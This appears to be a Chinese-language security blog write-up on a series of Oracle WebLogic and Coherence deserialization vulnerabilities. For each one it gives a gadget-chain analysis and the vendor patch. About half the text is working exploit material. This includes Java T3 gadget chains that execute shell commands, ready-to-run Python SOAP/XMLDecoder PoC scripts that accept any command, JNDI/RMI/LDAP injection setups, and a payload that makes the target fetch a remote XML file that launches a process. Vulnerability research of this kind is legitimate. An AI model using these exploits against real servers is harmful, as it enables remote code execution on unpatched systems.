1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 package ysoserial.payloads;import java.rmi.server.ObjID;import java.util.Random;import com.sun.jndi.rmi.registry.ReferenceWrapper_Stub;import sun.rmi.server.UnicastRef;import sun.rmi.transport.LiveRef;import sun.rmi.transport.tcp.TCPEndpoint;import ysoserial.payloads.annotation.Authors;import ysoserial.payloads.annotation.PayloadTest;import ysoserial.payloads.util.PayloadRunner;@SuppressWarnings ( { "restriction" } ) public class JRMPClient4 extends PayloadRunner implements ObjectPayload <ReferenceWrapper_Stub> { public ReferenceWrapper_Stub getObject ( final String command ) throws Exception { String host; int port; int sep = command.indexOf(':' ); if ( sep < 0 ) { port = new Random ().nextInt(65535 ); host = command; } else { host = command.substring(0 , sep); port = Integer.valueOf(command.substring(sep + 1 )); } ObjID id = new ObjID (new Random ().nextInt()); TCPEndpoint te = new TCPEndpoint (host, port); UnicastRef ref = new UnicastRef (new LiveRef (id, te, false )); ReferenceWrapper_Stub stu = new ReferenceWrapper_Stub (ref); return stu; } public static void main ( final String[] args ) throws Exception { Thread.currentThread().setContextClassLoader(JRMPClient3.class.getClassLoader()); PayloadRunner.run(JRMPClient3.class, args); } }
漏洞分析
此漏洞是对cve-2018-2893的黑名单绕过,可以使用ReferenceWrapper_Stub
或者RMIConnectionImpl_Stub
代替RemoteObjectInvocationHandler
,关键是在找RemoteObject
类的子类
补丁
直接将基类RemoteObject
加入到黑名单
CVE-2019-2890
WebLogic Server 10.3.6.0、12.1.3.0、12.2.1.3
工具利用
https://github.com/SukaraLin/CVE-2019-2890
详细操作在README已经给出
漏洞分析
漏洞代码位于weblogic.jar
中的weblogic.wsee.jaxws.persistence.PersistentContext.class
类中,它的readSubject()
方法中直接调用了readObject()
方法进行反序列化,所以我们只要对着writeObject()
写一个恶意对象就可以
补丁
增加黑名单检测
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public static class WSFilteringObjectInputStream extends FilteringObjectInputStream { private String firstClassName; public WSFilteringObjectInputStream (InputStream in) throws IOException { super (in); } protected Class<?> resolveClass(ObjectStreamClass descriptor) throws ClassNotFoundException, IOException { Class clazz = super .resolveClass(descriptor); if (this . firstClassName == null ) { String className = descriptor.getName(); try { clazz.asSubclass(Subject.class);] } catch (Exception var5) { throw new InvalidClassException ("Internal System Error" ); } this . firstClassName = className; } return clazz; } }
CVE-2020-2551
WebLogic Server 10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0
工具利用
https://github.com/Y4er/CVE-2020-2551.git
这个payload只能用在直连网络下,所以Win下本地打docker是打不了的,你可以选择自己本地搭一个服务器,可以选择在Linux虚拟机起docker,当然还有更简单的就是自己在docker里装个jdk8,然后在docker里打(因为这个payload只能用jdk8运行)
创建依赖库的wlfullclient.jar
1 2 cd WL_HOME/server/lib java -jar wljarbuilder.jar
编译exp.java,这里必须保证jdk版本与目标环境一样
1 javac -source 1.6 -target 1.6 exp.java
开启JNDI触发漏洞
1 2 3 python -m SimpleHTTPServer 80 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://172.18.0.2/#exp" 1099 java -jar CVE-2020-2551.jar 172.18.0.2 7001 rmi://172.18.0.2:1099/exp
漏洞分析
RMI-IIOP具体原理可参考这篇文章
这个漏洞源于对JtaTransactionManager
类的错误过滤导致的IIOP反序列化,我们把入口点定在JtaTransactionManager
类的readObject()
方法
在initUserTransactionAndTransactionManager()
方法中调用了lookupUserTransaction()
方法
在lookupUserTransaction()
方法中使用getJndiTemplate()
返回的jndiTemplate
实例的lookup()
方法进行JNDI
所以只要控制我们的userTransactionName
属性就可以JNDI任意类
根据这篇博客 可以知道,这个gadget在CVE-2018-3191 就已经被挖掘出来,当时修复的时候是JtaTransactionManager
的父类AbstractPlatformTransactionManager
加入到了黑名单列表,T3协议使用的是resolveClass
方法进行过滤,resolveClass
方法是会读取父类的,但是IIOP协议就不会去读取父类导致我们可以绕过黑名单,触发JNDI注入。
下面是exploit的核心部分
1 2 3 4 5 6 7 8 9 10 11 Hashtable<String, String> env = new Hashtable <String, String>(); env.put("java.naming.factory.initial" , "weblogic.jndi.WLInitialContextFactory" ); env.put("java.naming.provider.url" , rhost); Context context = new InitialContext (env);JtaTransactionManager jtaTransactionManager = new JtaTransactionManager ();jtaTransactionManager.setUserTransactionName(rmiurl); Remote remote = createMemoitizedProxy(createMap("Foo" , jtaTransactionManager), Remote.class);context.rebind("Foo" ), remote);
补丁
据说是直接封禁IIOP协议?
CVE-2020-2555
Oracle Coherence 3.7.1.17、12.1.3.0、12.2.1.3、12.2.1.4
需要注意的虽然Weblogic 10.3.6.0自带Oracle Coherence 3.7,但是它默认未启用Coherence,所以不在影响范围之内
工具利用
https://github.com/Y4er/CVE-2020-2555.git
漏洞分析
漏洞入口在coherence.jar
的LimitFilter
类的toString()
方法中,而BadAttributeValueExpException
这个类可以调用任何类(val)的toString()
方法,只要控制setSecurityManager
为null
即可,所以我们利用它来封装我们的恶意对象
在toString()
方法中,提取m_comparator
的值作为ValueExtractor,再对m_oAnchorTop
和m_oAnchorBottom
调用extract()
方法
进入extract()
,它是创建一个的aExtractor,并递归调用extract()
方法
getExtractors()
返回的是m_aExtractor
内部的extract()
就是利用反射机制返回方法调用,方法名和参数都可以空,所以只要构成一条extract chain就可以实现任意代码执行了
exploit核心部分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 public static void main (String[] args) throws Exception { ReflectionExtractor extractor1 = new ReflectionExtractor ( "getMethod" , new Object []{"getRuntime" , new Class [0 ]} ); ReflectionExtractor extractor2 = new ReflectionExtractor ( "invoke" , new Object []{null , new Object [0 ]} ); ReflectionExtractor extractor3 = new ReflectionExtractor ( "exec" , new Object []{new String []{"/bin/bash" , "-c" , "touch /tmp/success" }} ); ReflectionExtractor[] extractors = { extractor1, extractor2, extractor3, }; ChainedExtractor chainedExtractor = new ChainedExtractor (extractors); LimitFilter limitFilter = new LimitFilter (); Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator" ); m_comparator.setAccessible(true ); m_comparator.set(limitFilter, chainedExtractor); Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop" ); m_oAnchorTop.setAccessible(true ); m_oAnchorTop.set(limitFilter, Runtime.class); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException (null ); Field field = badAttributeValueExpException.getClass().getDeclaredField("val" ); field.setAccessible(true ); field.set(badAttributeValueExpException, limitFilter); byte [] payload = Serializables.serialize(badAttributeValueExpException); T3ProtocolOperation.send("127.0.0.1" , "7001" , payload); }
补丁
这里借一下别人的图,修复的方式特别有趣,把整个把LimitFilter
类的toString()
方法中的全部extractor去掉了
CVE-2020-2883
WebLogic Server 10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0
工具利用
https://github.com/Y4er/CVE-2020-2883
漏洞分析
此漏洞是对CVE-2020-2555补丁的绕过,因为LimitFilter
被禁了,所以我们需要找其他在内部调用了extract()
方法的函数,java.util.PriorityQueue.readObject()
就是其中一个,我们跟进heapify()
方法
递归调用siftDown()
如果comparator
非空,即如果我们自己定义比较器,就调用siftDownUsingComparator()
方法
然后在我们的comparator调用compare()
方法时
在里面也调用了extract()
方法,后面就和CVE-2020-2555类似了
exploit核心代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 public static void main (String[] args) throws Exception { ReflectionExtractor reflectionExtractor1 = new ReflectionExtractor ("getMethod" , new Object []{"getRuntime" , new Class []{}}); ReflectionExtractor reflectionExtractor2 = new ReflectionExtractor ("invoke" , new Object []{null , new Object []{}}); ReflectionExtractor reflectionExtractor3 = new ReflectionExtractor ("exec" , new Object []{new String []{"/bin/bash" , "-c" , "touch /tmp/success" }}); ValueExtractor[] valueExtractors = new ValueExtractor []{ reflectionExtractor1, reflectionExtractor2, reflectionExtractor3, }; ReflectionExtractor reflectionExtractor = new ReflectionExtractor ("toString" , new Object []{}); ValueExtractor[] valueExtractors1 = new ValueExtractor []{ reflectionExtractor }; ChainedExtractor chainedExtractor1 = new ChainedExtractor (valueExtractors1); PriorityQueue queue = new PriorityQueue (2 , new ExtractorComparator (chainedExtractor1)); queue.add("1" ); queue.add("1" ); Class clazz = ChainedExtractor.class.getSuperclass(); Field m_aExtractor = clazz.getDeclaredField("m_aExtractor" ); m_aExtractor.setAccessible(true ); m_aExtractor.set(chainedExtractor1, valueExtractors); byte [] payload = Serializables.serialize(queue); T3ProtocolOperation.send("127.0.0.1" , "7001" , payload); }
补丁
将存在类似上面操作的extract()
方法的MvelExtractor
和ReflectionExtractor
两个类加入到了黑名单中
CVE-2020-14644
Oracle WebLogic Server 12.2.1.3.0、12.2.1.4.0、14.1.1.0.0
工具利用
https://github.com/potats0/cve_2020_14644
坑:注意打包成jar的时候把jar文件分开放,不然会有其他jar文件的输出信息
漏洞分析
这是一条全新的gadget,漏洞入口点在coherence.jar
中的com.tangosol.internal.util.invoke.RemoteConstructor
,当反序列化类定义了readResolve()
方法时,会在readObject()
之后被调用
首先我们得知道,如果变量被transient
和static
修饰的话是不参与序列化和反序列化的,比如下面的m_serializer
和m_loader
newInstance()
如下
getClassLoader()
中因为m_loader
为空(原因上面提到),所以调用getContextClassLoader()
方法
在realize()
方法调用如下
getDefinition()
返回的是我们的m_definition
然后是调用了definition
的getRemotableClass()
方法,返回的是m_clz
但是它也是被transient
修饰的,所以返回的也是空
所以下面我们会调用defineClass()
去加载我们的definition
,这里就可以自己实例化一个自定义类了
相关方法的返回如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public ClassIdentity getId () { return this .m_id; } public String getName () { return this .getPackage() + "/" + this .getSimpleName(); } public String getPackage () { return this .m_sPackage; } public String getSimpleName () { return this .getBaseName() + "$" + this .getVersion(); } public String getBaseName () { return this .m_sBaseName; } public String getVersion () { return this .m_sVersion; }
在后面还会对包名进行检测
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 private ProtectionDomain preDefineClass (String var1, ProtectionDomain var2) { if (!this .checkName(var1)) { throw new NoClassDefFoundError ("IllegalName: " + var1); } else if (var1 != null && var1.startsWith("java." )) { throw new SecurityException ("Prohibited package name: " + var1.substring(0 , var1.lastIndexOf(46 ))); } else { if (var2 == null ) { var2 = this .defaultDomain; } if (var1 != null ) { this .checkCerts(var1, var2.getCodeSource()); } return var2; } } private boolean checkName (String var1) { if (var1 != null && var1.length() != 0 ) { return var1.indexOf(47 ) == -1 && (VM.allowArraySyntax() || var1.charAt(0 ) != '[' ); } else { return true ; } }
所以exploit可以这么编写
1 2 3 4 5 6 7 8 9 10 ClassIdentity classIdentity = new ClassIdentity (test.class);ClassPool cp = ClassPool.getDefault();CtClass ctClass = cp.get(test.class.getName());ctClass.replaceClassName(test.class.getName(), test.class.getName() + "$" + classIdentity.getVersion()); RemoteConstructor constructor = new RemoteConstructor (new ClassDefinition (classIdentity, ctClass.toBytecode()), new Object [0 ]);
补丁
未知
CVE-2020-14645
Oracle WebLogic Server 12.2.1.4.0
因为此构造链子用到了UniversalExtractor
类,而这个类是Weblogic 12.2.1.4.0独有的,所以只能影响这个版本
工具利用
在weblogic_cmd.jar
上修改
https://github.com/Y4er/CVE-2020-14645
漏洞分析
此漏洞是对CVE-2020-2883的补丁绕过,在CVE-2020-2883把ReflectionExtractor
类加入到黑名单,我们可以用UniversalExtractor
类去进行构造
依旧是来到之前自定义的比较器,这次我们调用的是UniversalExtractor
类的extractor
方法
因为oTarget
和targetPrev
不相等,所以调用extractComplex()
方法
extractComplex()
方法具体调用如下
这里我们要令clzParam
为空(原因在下),查看getClassArry()
方法,只要令传入的m_aoParam
为空即可
然后来到getCanonicalName()
方法
进入getValueExtractorCanonicalName()
方法,获取lambda的方法名,再放入到computeValueExtractorCanonicalName()
调用,其实就是提取出.getKey().databaseMetaData
的后半部分,即最后返回的sCName
为databaseMetaData
isPropertyExtractor()
返回!m_fMethod
我们看看m_fMethod
的定义,因为m_fMethod
被transient
修饰,所以fProperty
只能为true
如果fProperty
为true,就会去调用ClassHelper.findMethod()
方法,其中BEAN_ACCESSOR_PREFIXES
如下,所以说我们可以调用到任意的get、is
的方法,这里是漏洞利用的关键点,在该测试中,我们调用的关键方法为getDatabaseMetaData()
令cParams
为空,即令上面提到的clzParam
为空,fExactMatch
就会一直为true,如果fExactMatch && !fStatic
为true,就回去调用getMethod()
方法,这样就能顺利返回方法调用
之后就是调用getDatabaseMetaData
的invoke()
方法
持续跟进,我们可以看到调用了getDatabaseMetaData
的connect()
方法
在里面我们就会看到lookup()
方法
JNDI的地址就是我们的dataSource
所以exploit的编写如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 UniversalExtractor extractor = new UniversalExtractor ("getDatabaseMetaData()" , null , 1 );final ExtractorComparator comparator = new ExtractorComparator (extractor);JdbcRowSetImpl rowSet = new JdbcRowSetImpl ();rowSet.setDataSourceName("ldap://172.20.0.2:1089/#exp" ); final PriorityQueue<Object> queue = new PriorityQueue <Object>(2 , comparator);Object[] q = new Object []{rowSet, rowSet}; Reflections.setFieldValue(queue, "queue" , q); Reflections.setFieldValue(queue, "size" , 2 ); byte [] payload = Serializables.serialize(queue);T3ProtocolOperation.send("172.20.0.2" , "7001" , payload);
补丁
未知
XML反序列化 CVE-2017-3506
Oracle WebLogic Server 10.3.6.0、12.1.3.0、12.2.1.0、12.2.1.1、12.2.1.2
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 import requestsimport reimport sysheaders = { 'Content-Type' :'text/xml' } proxies = {"http" : "http://127.0.0.1:8080" } def poc (url, cmd ): url = '%s/wls-wsat/CoordinatorPortType' % url data = ''' <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java> <object class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>%s</string> </void> </array> <void method="start"/> </object> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope> ''' % cmd try : response = requests.post(url, headers=headers, data=data, verify=False , timeout=5 , proxies=proxies) response = response.text response = re.search(r"\<faultstring\>.*\<\/faultstring\>" , response).group(0 ) except Exception as e: response = "" if '<faultstring>java.lang.ProcessBuilder' in response or "<faultstring>0" in response: result = "test ok" return result else : result = "No Vulnerability" return result if __name__ == '__main__' : if len (sys.argv) < 3 : print ("python poc.py http://127.0.0.1:7001 touch /tmp/success" ) sys.exit(0 ) else : ip = sys.argv[1 ] cmd = ' ' .join(sys.argv[2 :]) print (cmd) print (poc(ip, cmd))
漏洞分析
这个漏洞是构造SOAP(XML)格式的请求触发XMLDecoder的反序列化,把漏洞入口定位在WorkContextServerTube
类中的processRequest()
方法,var1
为我们传入的SOAP请求,它会写到var3
中并调用了readHeaderOld()
方法
跟进去我们会发现它被传入到了WorkContextXmlInputAdapter
类的构造函数中,这个地方就是漏洞的关键,说明我们对任意XML进行反序列化
跟进这个类,可以发现它直接被带入了XMLDecoder()
构造函数
跳出来跟进receive()
方法,就是处理拿到的XML数据,持续跟进就能看到它调用了readObject()
方法进行反序列化
补丁
找了网上别人的补丁主要代码,也是采用黑名单机制
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 private void validate (InputStream is) { WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory (); try { SAXParser parser = factory.newSAXParser(); parser.parse(is, new DefaultHandler () { public void startElement (String uri, String localName, String qName, Attributes attributes) throws SAXException { if (qName.equalsIgnoreCase("object" )) { throw newIllegalStateException("Invalid context type: object" ); } } }); } catch (ParserConfigurationException var5) { throw new IllegalStateException ("Parser Exception" , var5); } catch (SAXException var6) { throw new IllegalStateException ("Parser Exception" , var6); } catch (IOException var7) { throw new IllegalStateException ("Parser Exception" , var7); } }
可以看到它只是禁止了qName
为object
类而已,所以很快就出现了下面CVE-2017-10271的绕过
CVE-2017-10271
Oracle WebLogic Server 10.3.6.0、12.1.3.0、12.2.1.1、12.2.1.2
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 import requestsimport reimport sysheaders = {'Content-Type' :'text/xml' } proxies = {"http" : "http://127.0.0.1:8080" } def poc (url, cmd ): url = '%s/wls-wsat/CoordinatorPortType' % url data = ''' <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>%s</string> </void> </array> <void method="start"/> </void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope> ''' % cmd try : response = requests.post(url, headers=headers, data=data, verify=False , timeout=5 ) response = response.text response = re.search(r"\<faultstring\>.*\<\/faultstring\>" , response).group(0 ) except Exception as e: response = "" print ('[*]' , e) if '<faultstring>java.lang.ProcessBuilder' in response or "<faultstring>0" in response: result = "[+] test ok" return result else : result = "[*] No Vulnerability" return result if __name__ == '__main__' : if len (sys.argv) < 3 : print ("python poc.py http://127.0.0.1:7001 touch /tmp/success" ) sys.exit(0 ) else : ip = sys.argv[1 ] cmd = ' ' .join(sys.argv[2 :]) print ('[*] send payload:' , cmd) print (poc(ip, cmd))
此外还有new
标签也可以利用
注意jdk6不支持new
等标签
1 2 3 4 5 6 <java version="1.4.0" class="java.beans.XMLDecoder" > <new class ="java.lang.ProcessBuilder" > <string>calc</string> <method name="start" /> </new > </java>
漏洞分析
因为和CVE-2017-3506几乎一样,这里就不分析了,其实就是把object
标签更改为其他可用的,比如void
补丁
对涉及到的object、new、method、void、array
类型都进行了检测
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 private void validate (InputStream is) { WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory (); try { SAXParser parser = factory.newSAXParser(); parser.parse(is, new DefaultHandler ()) { private int overallarraylength = 0 ; public void startElement (String uri, String localName, String qName, Attributes attributes) throws SAXEception { if (qName.equalsIgnoreCase("object" )) { throw new IllegalStateException ("Invalid element qName:object" ); } else if (qName.equalsIgnoreCase("new" )) { throw new IllegalStateException ("Invalid element qName:new" ); } else if (qName.equalsIgnoreCase("method" )) { throw new IllegalStateException ("Invalid element qName:method" ); } else { if (qName.equalsIgnoreCase("void" )) { for (int attClass = 0 ;attClass < attributes.getLength(); ++attClass) { if (!"index" .equalsIgnoreCase(attributes.getQName(attClass))) { throw new IllegalStateException ("Invalid attribute for element void: " + attributes.getQName(attClass)); } } } if (qName.equalsIgnoreCase("array" )) { String var9 = attributes.getValue("class" ); if (var9 != null && !var9.equalsIgnoreCase("byte" )) { throw new IllegalStateException ("The value of class attribute is not valid for array element." ); } } ...... } } } } }
CVE-2019-2725
Oracle WebLogic Server 10.3.6.0、12.1.3.0
poc
这个漏洞在市面上流传的很多payload都是没有考虑CVE-2017-10271的补丁,直接就是新入口+旧payload,比如<void class=”xxx”>
真正意义上的对CVE-2017-10271的绕过的关键点在于对<class>标签的利用,即我们可以利用<class>标签来创建任意类的实例
目前能利用的类有
com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext
oracle.toplink.internal.sessions.UnitOfWorkChangeSet(version <= 10.36,因为超过这个版本就不存在了)
版本 1( version <= 10.36 )
因为我这里用的是vulhub/weblogic:10.3.6
,所以用的是CommonsCollections1
的Gadget作为测试,其他情况视具体环境而定
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 import requestsimport reimport sysimport subprocessimport structheaders = {'Content-Type' :'text/xml' } def gen_payload (cmd ): try : gen_ser = "java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections1 '%s'" % cmd print ("[*] generate CommonsCollections1 payload: %s" % gen_ser) poc_ser = subprocess.Popen(gen_ser, shell=True , stdout=subprocess.PIPE, stderr=subprocess.STDOUT).stdout.read() except Exception as e: print ("[*] generate CommonsCollections1 payload failed" ) sys.exit(0 ) xml = """ <?xml version="1.0" encoding="UTF-8"?> <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:asy="http://www.bea.com/async/AsyncResponseService" xmlns:wsa="http://www.w3.org/2005/08/addressing"> <soapenv:Header> <wsa:Action>demoAction</wsa:Action> <wsa:RelatesTo>test</wsa:RelatesTo> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java> <class> <string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string> <void> <array class="byte" length="%d"> %s </array> </void> </class> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body> <asy:onAsyncDelivery /> </soapenv:Body> </soapenv:Envelope> """ exploit = '' _index = 0 for i in poc_ser: _byte = int .from_bytes(struct.pack("B" , i), byteorder='big' , signed=True ) exploit += """ <void index="%d"> <byte>%d</byte> </void> """ % (_index, _byte) _index += 1 payload = xml % (_index, exploit) return (payload) def poc (url, cmd ): url += '/_async/AsyncResponseService' data = gen_payload(cmd) try : print ("[*] send payload" ) response = requests.post(url, headers=headers, data=data, verify=False , timeout=5 ) if response.status_code == 202 : result = "[+] test ok" return result else : result = "[*] No Vulnerability" except Exception as e: result = '[*] error: ' + str (e) return result if __name__ == '__main__' : if len (sys.argv) < 3 : print ("python3 poc.py http://127.0.0.1:7001 touch /tmp/success" ) sys.exit(0 ) else : ip = sys.argv[1 ] cmd = ' ' .join(sys.argv[2 :]) print (poc(ip, cmd))
版本 2(通杀版本)
这个payload执行的前提是支持spel表达式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 POST /_async/AsyncResponseService HTTP/1.1 Host : 127.0.0.1:7001Content-Type : text/xmlContent-Length : 849<?xml version="1.0" encoding="UTF-8"?> <soapenv:Envelope xmlns:soapenv ="http://schemas.xmlsoap.org/soap/envelope/" xmlns:asy ="http://www.bea.com/async/AsyncResponseService" xmlns:wsa ="http://www.w3.org/2005/08/addressing" > <soapenv:Header > <wsa:Action > xx</wsa:Action > <wsa:RelatesTo > xx</wsa:RelatesTo > <work:WorkContext xmlns:work ="http://bea.com/2004/06/soap/workarea/" > <java > <class > <string > com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext</string > <void > <string > http://127.0.0.1:8000/poc.xml</string > </void > </class > </java > </work:WorkContext > </soapenv:Header > <soapenv:Body > <asy:onAsyncDelivery /> </soapenv:Body > </soapenv:Envelope >
1 2 3 4 5 6 7 8 9 10 11 12 13 // poc.xml <beans xmlns ="http://www.springframework.org/schema/beans" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation ="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd" > <bean id ="pb" class ="java.lang.ProcessBuilder" init-method ="start" > <constructor-arg > <list > <value > cmd</value > <value > /c</value > <value > <![CDATA[calc]]></value > </list > </constructor-arg > </bean > </beans >
漏洞分析
漏洞发生原因是wls9_async_response.war
包中的类由于使用注解方法调用了Weblogic原生处理Web服务的类,这个漏洞可以说是对CVE-2017-10271的另一个入口和补丁绕过
首先我们的漏洞入口在weblogic.wsee.async.AsyncResponseHandler
类的handleRequest
方法上,设置RelatesTo属性进入else分支
一直往下走就会来到weblogic.wsee.server.servlet.SoapProcessor
的process()
和handlePost()
方法,而后会调用WsSkel的invoke()
方法
跟进invoke()
方法,实例化了ServerDispatcher对象,并调用了dispatch()
方法
在dispatch()
方法中,对InternalHandlerList
进行setHandlerChain()
操作,然后再调用getHandlerChain().handleRequest()
方法
handleRequest()
方法根据handlers列表依次调用每个handler的handleRequest()
,但只要某个handler的handleRequest()
返回false则直接return,后面handler的handleRequest()
将不会被调用
handlers列表如下,其中有四个需要重点关注的handler,我们需要确保它们能够全部执行,即至少执行到第17个handler
在ServerAddressingHandler.handleRequest()
中,先关注setWSAVersion()
方法
其中setWSAVersion()
中获取请求中Message的ActionHeader,根据ActionHeader中namespaceURI的不同进行不同的处理,而我们的目的是为了跳过weblogic.wsee.addressing.version
的赋值,原因在下
在validateWSAVersion()
函数中,如果weblogic.wsee.addressing.version
属性若为空,则设置为WSAVersion.WSA10
回到handleRequest()
往下看,当版本号等于WSAVersion.WSA10
时var24为true
继续往下看,判断MsgHeader中的ActionHeader、RelatesToHeader存在则对相应属性进行赋值,同时使var23、var28为true,而var23、var28跟var24直接影响是否抛出异常,如果抛出异常handlers
将无法继续往下遍历
下面来到AsyncResponseHandler的handleRequest()
,我们需要保证Message的weblogic.wsee.addressing.RelatesTo
属性的值为非空,否则会返回false,将导致handlers
无法继续往下遍历
接着来到OperationLookupHandler
的handleRequest()
,保证Message中的OperationName
为非空,否则会抛出异常,令handlers
无法继续往下遍历
最后来到WorkAreaServerHandler
的handleRequest()
,把Header的WorkAreaHeader部分传入WorkContextXmlInputAdapter()
进行实例化,然后调用receiveRequest()
处理,后面的就和CVE-2017-10271的漏洞分析一样了
补丁
增加了对class标签的限制和array中length的大小限制
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 private void validate (InputStream is) { WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory (); try { SAXParser parser = factory.newSAXParser(); parser.parse(is, new DefaultHandler () { private int overallarraylength = 0 ; public void startElement (String uri, String localName, String qName, Attributes attributes) throws SAXException { if (qName.equalsIgnoreCase("object" )) { throw new IllegalStateException ("Invalid element qName:object" ); } else if (qName.equalsIgnoreCase("class" )) { throw new IllegalStateException ("Invalid element qName:class" ); } else if (qName.equalsIgnoreCase("new" )) { throw new IllegalStateException ("Invalid element qName:new" ); } else if (qName.equalsIgnoreCase("method" )) { throw new IllegalStateException ("Invalid element qName:method" ); } else { if (qName.equalsIgnoreCase("void" )) { for (int i = 0 ; i < attributes.getLength(); ++i) { if (!"index" .equalsIgnoreCase(attributes.getQName(i))) { throw new IllegalStateException ("Invalid attribute for element void:" + attributes.getQName(i)); } } } if (qName.equalsIgnoreCase("array" )) { String attClass = attributes.getValue("class" ); if (attClass != null && !attClass.equalsIgnoreCase("byte" )) { throw new IllegalStateException ("The value of class attribute is not valid for array element." ); } String lengthString = attributes.getValue("length" ); if (lengthString != null ) { try { int length = Integer.valueOf(lengthString); if (length >= WorkContextXmlInputAdapter.MAXARRAYLENGTH) { throw new IllegalStateException ("Exceed array length limitation" ); } this .overallarraylength += length; if (this .overallarraylength >= WorkContextXmlInputAdapter.OVERALLMAXARRAYLENGTH) { throw new IllegalStateException ("Exceed over all array limitation." ); } } catch (NumberFormatException var8) {
CVE-2019-2729
Oracle WebLogic Server 10.3.6.0.0、12.1.3.0.0、12.2.1.3.0
工具利用
https://github.com/ruthlezs/CVE-2019-2729-Exploit
1 python oracle-weblogic-deserialize.py -u http://127.0.0.1:7001 -c 'touch /tmp/success'
漏洞分析
该漏洞是对CVE-2019-2725的补丁绕过,在jdk7中解析xml时获取element元素的相关类为com.sun.beans.decoder.DocumentHandler
因为在jdk7为array元素添加属性时,只能从length,class,id中选择,而唯一能创建类的class已经被加入了黑名单,所以jdk1.7版本不受此漏洞影响,这次的绕过主要针对低于1.7的jdk版本
而weblogic1036自带的jdk版本为1.6,jdk1.6中解析xml时有很大差异,相关处理方法在com.sun.beans.ObjectHandler
,我们从startElemen()
方法入手
在对标签进行解析时,会对其类、属性和方法进行检查,如果存在就对其进行设置,如果方法不存在,就会生成一个new方法,如果存入forName
值的话,我们就可以引入任意类了
所以绕过方法就是使用<array method="forName">
来代替上面的<class>
即可绕过黑名单
补丁
使用白名单进行修复
增加了一层validateFormat
过滤,增加白名单限制
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 public class WorkContextFormatInfo { public static final Map<String, Map<String, String>> allowedName = new HashMap (); public WorkContextFormatInfo () { } static { allowedName.put("string" , (Object)null ); allowedName.put("int" , (Object)null ) ; allowedName.put("long" , (Object)null ); Map<String, String> allowedAttr = new HashMap (); allowedAttr.put("class" , "byte" ); allowedAttr.put("length" , "any" ); allowedName.put("array" , allowedAttr); allowedAttr = new HashMap (); allowedAttr.put("index" , "any" ); allowedNameput("void" , allowedAttr); allowedNameput("byte" , (Object)null ); allowedName.put("boolean" , (Object)null ); allowedName.put("short" , (Object)null ); allowedName.put("char" , (Object)null ); allowedName.put("float" , (Object)null ); allowedName.put("double" , (Object)null ) ; allowedAttr = new HashMap (); allowedAttr.put("class" , "java.beans.XMLDecoder" ) ; allowedAttr.put("version" , "any" ); allowedName.put 